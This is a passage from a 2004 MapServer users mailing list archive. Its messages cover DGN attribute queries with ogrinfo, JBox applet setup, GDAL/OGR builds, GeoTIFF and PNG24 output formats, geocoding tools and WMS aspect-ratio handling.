------=_NextPart_000_0005_01C3E58F.DC96CBE0--


From palanisamyg at ornl.gov  Wed Jan 28 06:43:24 2004
From: palanisamyg at ornl.gov (Palanisamy, Giri)
Date: Wed, 28 Jan 2004 09:43:24 -0500
Subject: [Mapserver-users] JBox: Setting busy image
Message-ID: <0290E9A99BE89B4CB17908E29890A7063067DB@EXCHANGE.ornl.gov>

HI,

I am reposting this question.

I am trying to show an intermediate busy image while the JBox applet
working, something very similar to 

http://www.dnr.state.mn.us/maps/landview.html

when you click any zoom option, you will notice a 'Making your map...'
image in this page.. I would like to do the same function.

Does anyone know how to do this?

Thanks

Giri

-----Original Message-----
From: "Palanisamy, Giri" 
To: mapserver-users at lists.gis.umn.edu
Date: Tue, 18 Nov 2003 12:38:49 -0500
Subject: [Mapserver-users] how to set a  busyimage in JBox?

> Hi,
> 
> I am trying to display  a busy image ("your map is loading..") while
> the
> JBox is working.
> 
> I have added "busyimage" param inside the applet script.
> 
>  height="600"
> name="jBox" MAYSCRIPT>
>   
>    value="http://giri/mapserv/fluxnet/graphics/loadMap.gif";>
> 
> 
> But it is not displaying the busy image.
> 
> Any idea?
> 
> Thanks
> 
> Giri
> 
> rs



From EZS at DeStraat.NL  Wed Jan 28 07:10:06 2004
From: EZS at DeStraat.NL (Emil Zegers)
Date: Wed, 28 Jan 2004 16:10:06 +0100
Subject: [Mapserver-users] Addtional info/questions about "Another question about DGN
 attribute query"
Message-ID: 

Hello Frank,

I've tested the DGN file with ogrinfo as you advised, I've included parts of the outcome in this message.

To me it seems that it is not possible to query the MSLink attribute in a DGN file with Mapserver 4.0 (win binary), can you tell me if I am correct on this?

Also, I had doubts on what attribute name was the right one to query exactly.

If I look at the DGN file in Arcexplorer the link attributes are called 'MsLinkOracle' and 'MsLinkOracle 1'.

When using ogrinfo it is called 'MSLink''.

I then found I could use the 'MSLink' values as Lableitem in Mapserver so I can show the MSLink values on a map image.

But my ultimate goal is to be able to query them so I can get the underlying attribute data from the database (of course I could put all spatial and attribute data together in one database but I would like to have the DGN item query working for situations where it is not possible to do so).

ogrinfo outcome for GROENNAALDWIJK.DGN

1.
ogrinfo -ro -al GROENNAALDWIJK.DGN -where 'Text is not null' | more

INFO: Open of `GROENNAALDWIJK.DGN'
using driver `DGN' successful.

Isn't it strange that I don't get any records here? Because there are elements where text is not null (see 2.). Could this have something to do with the unkown geometry (see3.) And if so, can this be solved or worked around?

2.
ogrinfo -ro -al GROENNAALDWIJK.DGN | more

(included the outcome for two elements only as an example)

OGRFeature(elements):207
  Type (Integer) = 17
  Level (Integer) = 43
  GraphicGroup (Integer) = 0
  ColorIndex (Integer) = 0
  Weight (Integer) = 0
  Style (Integer) = 0
  EntityNum (Integer) = 1001
  MSLink (Integer) = 100028
  Text (String) = BOD
  Style = LABEL(t:"BOD",c:#ffffff,s:1.000g)
  LINESTRING (73115.085 44510.886)

OGRFeature(elements):1657
  Type (Integer) = 3
  Level (Integer) = 61
  GraphicGroup (Integer) = 0
  ColorIndex (Integer) = 11
  Weight (Integer) = 0
  Style (Integer) = 0
  EntityNum (Integer) = 1001
  MSLink (Integer) = 100027
  Text (String) = (null)
  Style = PEN(id:"ogr-pen-0",c:#a0e000)
  LINESTRING (73255.050 445695.718,73255.056 445695.713)

3.
ogrinfo -ro -al GROENNAALDWIJK.DGN -summary

INFO: Open of `GROENNAALDWIJK.DGN'
using driver `DGN' successful.

Layer name: elements
Geometry: Unknown (any)
Feature Count: 25538
Extent: (72794.312000, 443434.460000) - (75347.808000, 447314.550000)
Layer SRS WKT:
(unknown)
Type: Integer (2.0)
Level: Integer (2.0)
GraphicGroup: Integer (4.0)
ColorIndex: Integer (3.0)
Weight: Integer (2.0)
Style: Integer (1.0)
EntityNum: Integer (8.0)
MSLink: Integer (10.0)
Text: String (0.0)

So I can use Text and MSLink as label items (have not yet tested any others) for every layertype but whatever layertype I choose I can never query them.

I hope this info is helpful and maybe you or anybody else can provide some more info on DGN item query with Mapserver.

A thought that just popped in my mind; is DGN item query possible in Mapserver through the FME Gateway?

Best regards,

Emil Zegers


>>> Frank Warmerdam  01/26/04 07:39pm >>>
Emil,

The message you are getting from MapServer normally means you were using a
polygon with a point layer or something like that.  In particular, the
geometry type is NULL after attempted translation according to the layer type.

I would suggest you try and diagnose issues at the ogrinfo level.

For instance the following query should report on all features in your dgn file
that have some sort of text value.

ogrinfo -ro -al your.dgn -where 'Text is not null' | more

I would *guess* that some of your features appear odd to MapServer
because of the way they are being translated by OGR.

Best regards,
-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com 
light and sound - activate the windows | http://pobox.com/~warmerdam 
and watch the world go round - Rush    | Geospatial Programmer for Rent


______________________________________________________

 This message has been checked for all known viruses
______________________________________________________



From warmerdam at pobox.com  Wed Jan 28 07:15:34 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Wed, 28 Jan 2004 10:15:34 -0500
Subject: [Mapserver-users] Does GDAL include OGR ?
In-Reply-To: <4016DB4C.2010400@consultoria.eti.br>
References: <4016DB4C.2010400@consultoria.eti.br>
Message-ID: <4017D216.7010203@pobox.com>

Eduardo Patto Kanegae wrote:
> I saw in GDAL ./configure --help that is possible to "disable OGR code"
> 
> what does really it means? does GDAL package also include OGR functions? 
> I mean, if I download
> and compile GDAL library  I don't need to compile OGR package?


Eduardo,

The GDAL library includes the GDAL API and the OGR API.  So, if you want
GDAL and OGR support in MapServer you would normally just need to compile
the GDAL source tree and link against it to get both GDAL (raster) and
OGR (vector) support.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From hunt at zedxinc.com  Wed Jan 28 07:57:07 2004
From: hunt at zedxinc.com (Aaron D. Hunt)
Date: Wed, 28 Jan 2004 10:57:07 -0500
Subject: [Mapserver-users] geotiff output problem
References: <003e01c3e4f5$a6f154a0$b105000a@quasar> <4016AE59.8010309@pobox.com> <252a01c3e515$896d2010$b105000a@quasar> <4016EF63.5080704@pobox.com>
Message-ID: <006d01c3e5b7$6200c7a0$b105000a@quasar>

The perl and mapfile are bellow.

Perl
#!/usr/bin/perl

use lib("/home/mapserver");
use mapscript40;

$ENV{MS_ERRORFILE} = "mapserver.log";
$ENV{PROJ_LIB} = "/home/mapserver/proj-4.4.7/nad/";

my $map = new mapscript40::mapObj("geotif.map") or die("Unable to open
mapfile. $!");

$img = $map->draw() or die('Unable to draw map');

$imagename = "test.tiff";

$img->save($imagename);

Map file

#
# Start of map file
#
NAME Demo
STATUS ON
SIZE 500 500

EXTENT 720138 3723926 721518 3724986


SHAPEPATH "/tmp"
IMAGECOLOR 255 255 255

 WEB
   IMAGEPATH "/home/hunt/"
   IMAGEURL ""
 END

 PROJECTION
  "init=epsg:26915"
 END

 OUTPUTFORMAT
   NAME GTiff
   DRIVER "GDAL/GTiff"
  MIMETYPE "image/tiff"
  IMAGEMODE RGB
   EXTENSION "tif"
 END



 LAYER
    NAME ortho-15
    METADATA
      "wms_title" "USGS Digital Ortho-Quadrangles"
      "wms_srs"   "EPSG:26915" #NAD83 UTM zone 15N
      #"wms_latlonboundingbox" "-78 0 -72 90"
      LYRNAME "DOQs (orthophotos)"
      LINK
"http://terraserver.microsoft.com/about.aspx?n=AboutTerraServiceOverview"
    END
    #MAXSCALE 700000
    #MINSCALE 5401
    OFFSITE 255 255 255
    GROUP "ORTHO DATA"
    STATUS ON
    TYPE RASTER
    CONNECTIONTYPE WMS
    CONNECTION
"http://terraservice.net/ogcmap.ashx?VERSION=1.1.1&SERVICE=wms&LAYERS=DOQ&FO
RMAT=image/jpeg&styles="
    PROJECTION
      "init=epsg:26915" #NAD83 UTM zone 15N
    END
 END

END

----- Original Message ----- 
From: "Frank Warmerdam" 
To: "Aaron D. Hunt" 
Sent: Tuesday, January 27, 2004 6:08 PM
Subject: Re: [Mapserver-users] geotiff output problem


> Aaron D. Hunt wrote:
> > I worked when I used shp2img. Is there any reason it is not working in
the
> > script?
>
> Aaron,
>
> I seem to have misplaced your original email, and it isn't in the archive
> yet.  Could you resend it?  I am wondering if there is anything
> peculiar about how you call stuff from the Perl script.
>
> Best regards,
>
> -- 
> ---------------------------------------+----------------------------------
----
> I set the clouds in motion - turn up   | Frank Warmerdam,
warmerdam at pobox.com
> light and sound - activate the windows | http://pobox.com/~warmerdam
> and watch the world go round - Rush    | Geospatial Programmer for Rent
>



From warmerdam at pobox.com  Wed Jan 28 08:29:35 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Wed, 28 Jan 2004 11:29:35 -0500
Subject: [Mapserver-users] Addtional info/questions about "Another question
 about DGN attribute query"
In-Reply-To: 
References: 
Message-ID: <4017E36F.50908@pobox.com>

Emil Zegers wrote:
> Hello Frank,
> 
> I've tested the DGN file with ogrinfo as you advised, I've included parts of the outcome in this message.
> 
> To me it seems that it is not possible to query the MSLink attribute in a DGN file with Mapserver 4.0 (win binary), can you tell me if I am correct on this?
> 
> Also, I had doubts on what attribute name was the right one to query exactly.
> 
> If I look at the DGN file in Arcexplorer the link attributes are called 'MsLinkOracle' and 'MsLinkOracle 1'.

Emil,

Arcexplorer expands the DGN information somewhat differently, and arguably in a
better way.  OGR currently only supports one "linkage" per element, discarding any
others.  The EntityNum value can be used to determine something about the type of
linkage.


> When using ogrinfo it is called 'MSLink''.
> 
> I then found I could use the 'MSLink' values as Lableitem in Mapserver so I can show the MSLink values on a map image.
> 
> But my ultimate goal is to be able to query them so I can get the underlying attribute data from the database (of course I could put all spatial and attribute data together in one database but I would like to have the DGN item query working for situations where it is not possible to do so).
> 
> ogrinfo outcome for GROENNAALDWIJK.DGN
> 
> 1.
> ogrinfo -ro -al GROENNAALDWIJK.DGN -where 'Text is not null' | more
> 
> INFO: Open of `GROENNAALDWIJK.DGN'
> using driver `DGN' successful.
> 
> Isn't it strange that I don't get any records here? Because there are elements where text is not null (see 2.). Could this have something to do with the unkown geometry (see3.) And if so, can this be solved or worked around?

This is strange.  Any chance you are on windows and that different quoting rules
apply?  Perhaps you should use double quotes around the where clause?

...
> 3.
> ogrinfo -ro -al GROENNAALDWIJK.DGN -summary
> 
> INFO: Open of `GROENNAALDWIJK.DGN'
> using driver `DGN' successful.
> 
> Layer name: elements
> Geometry: Unknown (any)
> Feature Count: 25538
> Extent: (72794.312000, 443434.460000) - (75347.808000, 447314.550000)
> Layer SRS WKT:
> (unknown)
> Type: Integer (2.0)
> Level: Integer (2.0)
> GraphicGroup: Integer (4.0)
> ColorIndex: Integer (3.0)
> Weight: Integer (2.0)
> Style: Integer (1.0)
> EntityNum: Integer (8.0)
> MSLink: Integer (10.0)
> Text: String (0.0)
> 
> So I can use Text and MSLink as label items (have not yet tested any others) 
 > for every layertype but whatever layertype I choose I can never query them.

Text and MSLink should be normal variables, and should be queriable in the
usual MapServer fashion.  I don't know why they wouldn't be.

However, your general interest is apparently to actually join the oracle
attrbibutes corresponding to the MSLink value in question.  This is a somewhat
involved process.  However, if you have OGR built with Oracle support you should,
in theory, be able to construct an query with a join that would give you what you
want.

Very roughly, something like:

ogrinfo -ro GROENNAALDWIJK.DGN \
   -sql 'select * from elements left join 'OCI:userid/password at oci_id'.subtable on subtable.id = elements.MSLink'

This is a pretty complicated action ... I wouldn't suggest you attempt it unless
you are brave and willing to fiddle quite a bit ... including rebuilding things
from the latest source.

> I hope this info is helpful and maybe you or anybody else can provide some more info on DGN item query with Mapserver.
> 
> A thought that just popped in my mind; is DGN item query possible in Mapserver through the FME Gateway?

Yes, this should be possible.  If you have FMEObjects installed on your system
and FME_HOME set when you build, then FMEObjects support should get built into
OGR.  Then you would prepend the filename with the name of the FME reader
you want to use.

eg.

ogrinfo -ro -al IGDS:GROENNAALDWIJK.DGN

However, all things considered, if you have FME handy I would suggest doing
a batch translation to shapefile in a form more convenient for use in MapServer.

Best regards,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From rich at greenwoodmap.com  Wed Jan 28 08:52:06 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Wed, 28 Jan 2004 09:52:06 -0700
Subject: [Mapserver-users] jBox applet - setimage
In-Reply-To: <001801c3e5b1$3ec054f0$db3e5edb@steve>
References: <001301c3e49e$51067810$11395edb@steve> <4016806E.8080008@greenwoodmap.com> <001201c3e54d$6e083520$c32d5fdb@steve> <40172E80.7010109@greenwoodmap.com> <000801c3e553$68520d80$993d5edb@steve> <4017379A.8080607@greenwoodmap.com> <001801c3e5b1$3ec054f0$db3e5edb@steve>
Message-ID: <4017E8B6.5090606@greenwoodmap.com>

Steve McCrone wrote:
> Richard,
> 
> Yes, I have determined it is working.now I just have to figure out how to
> include the map sixe, extants etc. I have experimented but no luck yet.
> 
> Thanks a lot for your help.
> 
> Steve

There are two routes that you can go. The one I alluded to in my 
previous email (below) is to calculate all that stuff yourself, on the 
client, with javascript. It's a lot of work. I'd start with Steve Lime's 
Landview js as it is the best and most sophisticated example I've seen.

The other way is a lot easier, but a bit less elegant because it 
involves two calls to the server for each map update, and would probably 
require using frames. Here's the general idea: When you need to display 
a new map due to a new zoom or whatever, submit the new parameters to 
mapserver in hidden form variables in the usual manner, have mapserver 
create the new image, calculate the new map extents and anything else, 
and get this information (including the name of the newly created image) 
back in hidden form variables in a frame. Then grab the new image name 
and put it into the url for setimage(), then call setimage() from your 
main map frame. In this case setimage() is pointed at the image file on 
the server's hard disk that was created in the previous request, rather 
than the more typical situation in which setimage() is calling mapserver 
directly with mode=map.

Rich


>>Okay so it is working, right? That is, it is displaying the map when
>>setimage(url)? If you want to alter the map (like zoom in) you have to
>>do some more work. You will need to take the minx, miny, maxx, maxy
>>values setbox_handler() and plug them into you url.
>>
>>When you are working with an HTML form, the whole form, along with the
>>form variables gets submitted to mapserver and processed. But when you
>>use setimage, the only thing mapserver sees in in your url variable.
>>Mapserver will not see what you have set with your
>>document.mapserv.imgbox.value statement. So you have to do a lot more
>>work formatting the url varibale than when you can pass all that info
>>via form variables.
>>
>>Same complexities on the return side: when you are using an HTML
>>template, mapserver will calculate new map extents and lot of other
>>useful stuff for you. But with setimage, you will need to do most of
>>that on the client with javascript.
>>
>>Regards,
>>--
>>Richard Greenwood
>>www.greenwoodmap.com
>>
> 
> 
> 
> 


-- 
Richard Greenwood
www.greenwoodmap.com


From MHoward at spaceimaging.com  Wed Jan 28 09:28:31 2004
From: MHoward at spaceimaging.com (Howard Mark)
Date: Wed, 28 Jan 2004 10:28:31 -0700
Subject: [Mapserver-users] ArcView Line Theme + GPS tracking
Message-ID: <13685000AB02F2479DF2C632B9B1988E16C127@imager8.corp.spaceimaging.com>

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3E5C4.26631882
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Kieran,
=20
Thanks for sharing the script. I'm sorry I did not have time to write somet=
hing for you myself. I may write a routine soon to convert point data to si=
mple lines. I'm doing a fun project tracking a model sailplane with GPS in =
ArcView. If anyone needs GPS tracking in ArcView, I can supply VB routines =
that will poll the serial port and write a file (NMEA format).  I have an A=
rcView project that reads the file and plots the track. I'm thinking about =
saving the point data to a file and later creating a shapefile - which is w=
hat you wanted to do. I already have tracking logs that can be used for tha=
t purpose.
=20
Mark
=20
-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin=
@lists.gis.umn.edu]On Behalf Of Kieran J. Ames
Sent: Wednesday, January 28, 2004 6:08 AM
To: mapserver list
Subject: Re: [Mapserver-users] OT: ArcView Line Theme
=20
Many thanks to all for your help=20
I ended up using a script called pt_ln_pl.ave=20
While heavy on the processing time (making straight polylines from about 1,=
500 definitions took about 10 minutes and 100% cpu), this script did everyt=
hing I needed.=20
I include it here since finding it again was quite a task.=20
Kieran=20
.................


***************************************************************************=
*****
This message is intended only for the use of the Addressee and may
contain information that is PRIVILEGED and CONFIDENTIAL.

If you are not the intended recipient, you are hereby notified that any
dissemination of this communication is strictly prohibited. If you have
received this communication in error, please erase all copies of the
message and its attachments and notify Space Imaging immediately.
***************************************************************************=
*****


------_=_NextPart_001_01C3E5C4.26631882
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






















Kier=
an,



 



=
Thanks for sharing the script. I’m sorry I =
did not
have time to write something for you myself. I may write a routine soon to
convert point data to simple lines. I’m doing a fun project tracking =
a model
sailplane with GPS in ArcView. If anyone needs GPS tracking in ArcView, I c=
an supply
VB routines that will poll the serial port and write a file (NMEA format). =
 I have an ArcView project that rea=
ds the
file and plots the track. I’m thinking about saving the point data to=
 a file
and later creating a shapefile – which is what you wanted to do. I al=
ready have
tracking logs that can be used for that purpose.



 



Mark=




 



-----Original
Message-----

From:
mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Kieran J. Ames

Sent: Wednesday, January 28,=
 2004
6:08 AM

To: mapserver list

Subject: Re: [Mapserver-user=
s] OT:
ArcView Line Theme



 <=
/o:p>



Many =
thanks
to all for your help 

I ended up using a script called pt_ln_pl.ave 

While heavy on the processing time (making straight polylines from about 1,=
500
definitions took about 10 minutes and 100% cpu), this script did everything=
 I
needed. 

I include it here since finding it again was quite a task. 

Kieran 

……&=
#8230;……..









***************************************************************************=
*****

This message is intended only for the use of the Addressee and may

contain information that is PRIVILEGED and CONFIDENTIAL.



If you are not the intended recipient, you are hereby notified that any

dissemination of this communication is strictly prohibited. If you have

received this communication in error, please erase all copies of the

message and its attachments and notify Space Imaging immediately.

***************************************************************************=
*****






------_=_NextPart_001_01C3E5C4.26631882--


From MHoward at spaceimaging.com  Wed Jan 28 09:30:12 2004
From: MHoward at spaceimaging.com (Howard Mark)
Date: Wed, 28 Jan 2004 10:30:12 -0700
Subject: [Mapserver-users] Geocoding ?
Message-ID: <13685000AB02F2479DF2C632B9B1988E16C128@imager8.corp.spaceimaging.com>

I'm looking for a cheap, simple geocoding solution. I supply address...... get back LL. 
Anybody have a suggestion?



********************************************************************************
This message is intended only for the use of the Addressee and may
contain information that is PRIVILEGED and CONFIDENTIAL.

If you are not the intended recipient, you are hereby notified that any
dissemination of this communication is strictly prohibited. If you have
received this communication in error, please erase all copies of the
message and its attachments and notify Space Imaging immediately.
********************************************************************************




From kgeurts at GIS.UMN.EDU  Wed Jan 28 09:35:38 2004
From: kgeurts at GIS.UMN.EDU (Kari Geurts)
Date: Wed, 28 Jan 2004 11:35:38 CST
Subject: [Mapserver-users] HOWTO:  24 bit png on WMS interface
Message-ID: <200401281735.i0SHZcpc012837@challenge.software.umn.edu>

Hello MS-Users,

I wanted to let you know that we have revived and revised the ?Add a
Comment? line on the mdp documents (located at the end of the
document).?This is a great way for users to give feedback to the
documentation authors and help keep the documentation accurate and useful.
When a user makes a comment the message is sent to the author and they can
then evaluate it and add it to their document. 

The message below is a good example of how the ?Add a Comment? line could
be used. I encourage you all to use this function to help make the
MapServer Documentation Project more successful.

Thanks,

Kari A. Geurts

Department of Forest Resources
University of Minnesota
115 Green Hall
1530 Cleveland Ave. N.
St. Paul, MN 55108-6112
Phone: 612-624-3459
Email: kgeurts at gis.umn.edu

---------------------------------------------------------------------------
----
From: Frank Warmerdam 
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5a) Gecko/20030718
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: UMN MapServer 
Subject: Re: [Mapserver-users] HOWTO:  24 bit png on WMS interface
Content-Transfer-Encoding: 7bit
X-BeenThere: mapserver-users at lists.gis.umn.edu
X-Mailman-Version: 2.0.13
List-Unsubscribe:
, 

List-Id: Mapserver Users Mailing List (Appropriate for general users) 

List-Post: 
List-Help: 
List-Subscribe:
, 

List-Archive: 
Date: Tue, 27 Jan 2004 15:33:28 -0500

Norman Vine wrote:
> Bart van den Eijnden writes:
> 
>>thanks to Frank Warmerdam I have solved my problem with not getting 24
bit 
>>PNG output in Mapserver.
>>
>>In my MAP file I used the following:
>>
>>IMAGETYPE PNG24
>>
>>and then in my WMS request I used format=image/png
>>
>>This caused 8-bit PNG to be generated instead of 24-bit PNG.
>>
>>The solution Frank suggested is using the following OUTPUTFORMAT in my
MAP 
>>file and this works:
>>
>>OUTPUTFORMAT
>>   NAME PNG24
>>   DRIVER "GD/PNG"
>>   MIMETYPE "image/png"
>>   EXTENSION PNG
>>   IMAGEMODE RGBA
>>   TRANSPARENT ON
>>END
>>
>>Maybe something for the Mapserver WMS HOWTO?
> 
> 
> see
> http://mapserver.gis.umn.edu/doc/mapfile-reference.html#outputformat




From Daniel.A.Martin at erac.com  Wed Jan 28 10:52:43 2004
From: Daniel.A.Martin at erac.com (Martin, Daniel A)
Date: Wed, 28 Jan 2004 12:52:43 -0600
Subject: [Mapserver-users] Geocoding ?
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A01C2E660@STL-EXBE-I03.corp.erac.com>

A couple years ago, the winner of the Google programming competition was
for a geocoder that works from TIGER line data.  It is released under
the GPL.

See:  http://dan.egnor.name/google.html

I've never used/tested/played with it, so I don't know how well it
works.  It may not be "simple".

-Dan



> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu 
> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> Howard Mark
> Sent: Wednesday, January 28, 2004 11:30 AM
> To: mapserver list
> Subject: [Mapserver-users] Geocoding ?
> 
> 
> I'm looking for a cheap, simple geocoding solution. I supply 
> address...... get back LL. 
> Anybody have a suggestion?
> 
> 
> 
> **************************************************************
> ******************
> This message is intended only for the use of the Addressee 
> and may contain information that is PRIVILEGED and CONFIDENTIAL.
> 
> If you are not the intended recipient, you are hereby 
> notified that any dissemination of this communication is 
> strictly prohibited. If you have received this communication 
> in error, please erase all copies of the message and its 
> attachments and notify Space Imaging immediately.
> **************************************************************
> ******************
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> 



From eric.sokolowsky at gsfc.nasa.gov  Wed Jan 28 11:28:58 2004
From: eric.sokolowsky at gsfc.nasa.gov (Eric Sokolowsky)
Date: Wed, 28 Jan 2004 14:28:58 -0500 (EST)
Subject: [Mapserver-users] WMS server image black padding and aspect
 ratio
In-Reply-To: <40119C04.2050303@dmsolutions.ca>
Message-ID: 

On Fri, 23 Jan 2004, Daniel Morissette wrote:

> Eric Sokolowsky wrote:
> > I am running mapserver 4.0.1 but this aspect also appears with the 
> > version in CVS.  I am using mapserver as a WMS server on a Red Hat Linux 9
> > system.  When I request an image that is not the same aspect ratio as
> > the original image on the server, it seems that the image I get is
> > not stretched so that it fills the entire frame.  The aspect ratio of the
> > original source is maintained and black bars either appear above and below
> > or else on both sides, similar to the effect of watching widescreen movies 
> > on a regular TV.  Is this the intended behavior, and if so, is there a way
> > to turn it off?
> > 
> 
> The short answer is that MapServer doesn't support rendering maps with 
> different X and Y scales.  This is one of the only issues with MapServer 
> before it passes all the OGC WMS tests.

This is most unfortunate.  It is absolutely critical for my application
to allow this.  Most of the images that I want to serve have different
X and Y scales, and it would be very difficult to rescale all of them.
Also, even if I rescaled all of the images, it would not solve the problem
of requesting a different aspect ratio bounding box.

Is there work being done to fix this problem?  I am willing to jump into
the code to try and find a way to solve it, but I am not familiar with
the code and it may take me a while to get up to speed with it.

> For the long story, see the following thread in the archives:
> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00105.html
> 
> Daniel
> 

-- 
    ____   __     Eric Sokolowsky    (GST)  NASA Goddard Space Flight Center 
   / __/__/_/__  Visualization Programmer    Scientific Visualization Studio
  / __/ _/ / _/ 301.286.3751                  Mailstop 935.0 Bldg 28 Rm E102
 /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov   Greenbelt, MD 20771



From rich at greenwoodmap.com  Wed Jan 28 11:40:19 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Wed, 28 Jan 2004 12:40:19 -0700
Subject: [Mapserver-users] jBox ANNOUNCE
In-Reply-To: <0290E9A99BE89B4CB17908E29890A7063067DC@EXCHANGE.ornl.gov>
References: <0290E9A99BE89B4CB17908E29890A7063067DC@EXCHANGE.ornl.gov>
Message-ID: <40181023.90405@greenwoodmap.com>

Palanisamy, Giri wrote:

> HI Richard,
> 
> How can I include the jBox.jar file, I have placed the jar file under 
> C:\Inetpub\wwwroot\java\jBox\
> 
> And in my demohtml file I call the applet as
> 
>  name="jBox.jar" MAYSCRIPT>
> 
> 
> (I also tried changing code="jBox.jar")
> 
> I am getting the following applet load error
> 
> load: class jBox.class not found.
> java.lang.ClassNotFoundException: jBox.class
> 	at
> sun.applet.AppletClassLoader.findClass(AppletClassLoader.java:153)
> 
> 
> Thanks for your time
> 	
> 
> Giri
> 

You need to add the following attribute into the the  tag:
    archive='jBox.jar'
For example:
    
       
    "

The .jar file(s) should reside in the '/java/jBox' directory in this 
example. The .class files no longer need to be on the server.

Regards,
-- 
Richard Greenwood
www.greenwoodmap.com


From sscott at gwi.net  Wed Jan 28 11:51:00 2004
From: sscott at gwi.net (Shannon Scott)
Date: Wed, 28 Jan 2004 14:51:00 -0500
Subject: [Mapserver-users] Geocoding ?
In-Reply-To: <4ACBA1414DD9EE418CC250E4AAA9035A01C2E660@STL-EXBE-I03.corp.erac.com>
Message-ID: <000001c3e5d8$0f2d0090$6895c3d8@sebois>

I have used this open source geocoder, and found it to need some help.
My associate and I fixed several bugs, and added a sound index for
misspellers.  
Now it works better than the ESRI ArcIMS geocoder with the same data.
If you want to test it, try out
www.neighborhoodscout.com/testGeocoder2.jsp
We have only used it for this client, but I know my associate made a
remote java interface that works with dbf files.  We have invested a
great deal of time and resources into improving the code, so I don't
think we could give away our improvements to the source code.  However,
I will speak with my associate about it, and I am willing to describe
the problems we found and help with advice any where I can.
Feel free to contact me off-list for more info.
I hope this content is not offensive to any list member.
Take Care
Shannon




-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Martin,
Daniel A
Sent: Wednesday, January 28, 2004 1:53 PM
To: Howard Mark; mapserver list
Subject: RE: [Mapserver-users] Geocoding ?

A couple years ago, the winner of the Google programming competition was
for a geocoder that works from TIGER line data.  It is released under
the GPL.

See:  http://dan.egnor.name/google.html

I've never used/tested/played with it, so I don't know how well it
works.  It may not be "simple".

-Dan



> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu 
> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> Howard Mark
> Sent: Wednesday, January 28, 2004 11:30 AM
> To: mapserver list
> Subject: [Mapserver-users] Geocoding ?
> 
> 
> I'm looking for a cheap, simple geocoding solution. I supply 
> address...... get back LL. 
> Anybody have a suggestion?
> 
> 
> 
> **************************************************************
> ******************
> This message is intended only for the use of the Addressee 
> and may contain information that is PRIVILEGED and CONFIDENTIAL.
> 
> If you are not the intended recipient, you are hereby 
> notified that any dissemination of this communication is 
> strictly prohibited. If you have received this communication 
> in error, please erase all copies of the message and its 
> attachments and notify Space Imaging immediately.
> **************************************************************
> ******************
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> 

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From kallwn at icircus.net  Wed Jan 28 12:27:18 2004
From: kallwn at icircus.net (kallwn)
Date: Wed, 28 Jan 2004 13:27:18 -0700
Subject: [Mapserver-users] Customizing query results using GMAP
Message-ID: <007901c3e5dd$1ffb1e70$4b00a8c0@MOBILE>

I'm running Mapserver, MapLab 2.01RC3 on an Apache 2 server all sitting on a
W2K server (installed from ms4w binary). I'm using GMAP to make the final
application and everything seems to be working great. However the results
from a query is showing a lot information from the layers that is not
needed. So I've been trying to customize the output for each layer but
nothing has been changed. I've searched the list archives and found some
suggestions and tried them but nothing seems to be working.  I've tried
setting up metadata with the columns I want returned, making my own
templates and point to them in the map file but I still get the same
results.  Almost all of the layers (20 of them) are in static shape files
and 1 is in a postgresql database. Everything works except for customizing
the results of a query. Does anyone have any suggestions?




From ed at topozone.com  Wed Jan 28 12:46:59 2004
From: ed at topozone.com (Ed McNierney)
Date: Wed, 28 Jan 2004 15:46:59 -0500
Subject: [Mapserver-users] WMS server image black padding and aspect ratio
Message-ID: <13858AA1A74F30419F319ACB66A9D12203B23C@mercator.topozone.com>

Eric -

You may be slightly misunderstanding the WMS problem.  The WMS
specification states that if an image request specifies an OUTPUT image
size (WIDTH= and HEIGHT=) and a geographic bounding box (BBOX=) that are
not consistent with one another (for example, WIDTH=200,HEIGHT=100 and
BBOX=0,0,100,100, so a 100x100 area is being requested in a 200x100
image) that the 100x100 geographic area be stretched in the X direction
so it's 200 pixels wide.  MapServer does not do this, but instead
renders a 200x100 geographic area to fill the box without stretching the
OUTPUT image.

Your comment makes it sound like you have INPUT images with different X
and Y resolutions/scales.  This is completely unrelated to the problem
with the WMS interface, and MapServer can handle those images with no
problems - assuming of course that the metadata correctly describes the
input images.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242 

-----Original Message-----
From: Eric Sokolowsky [mailto:eric.sokolowsky at gsfc.nasa.gov] 
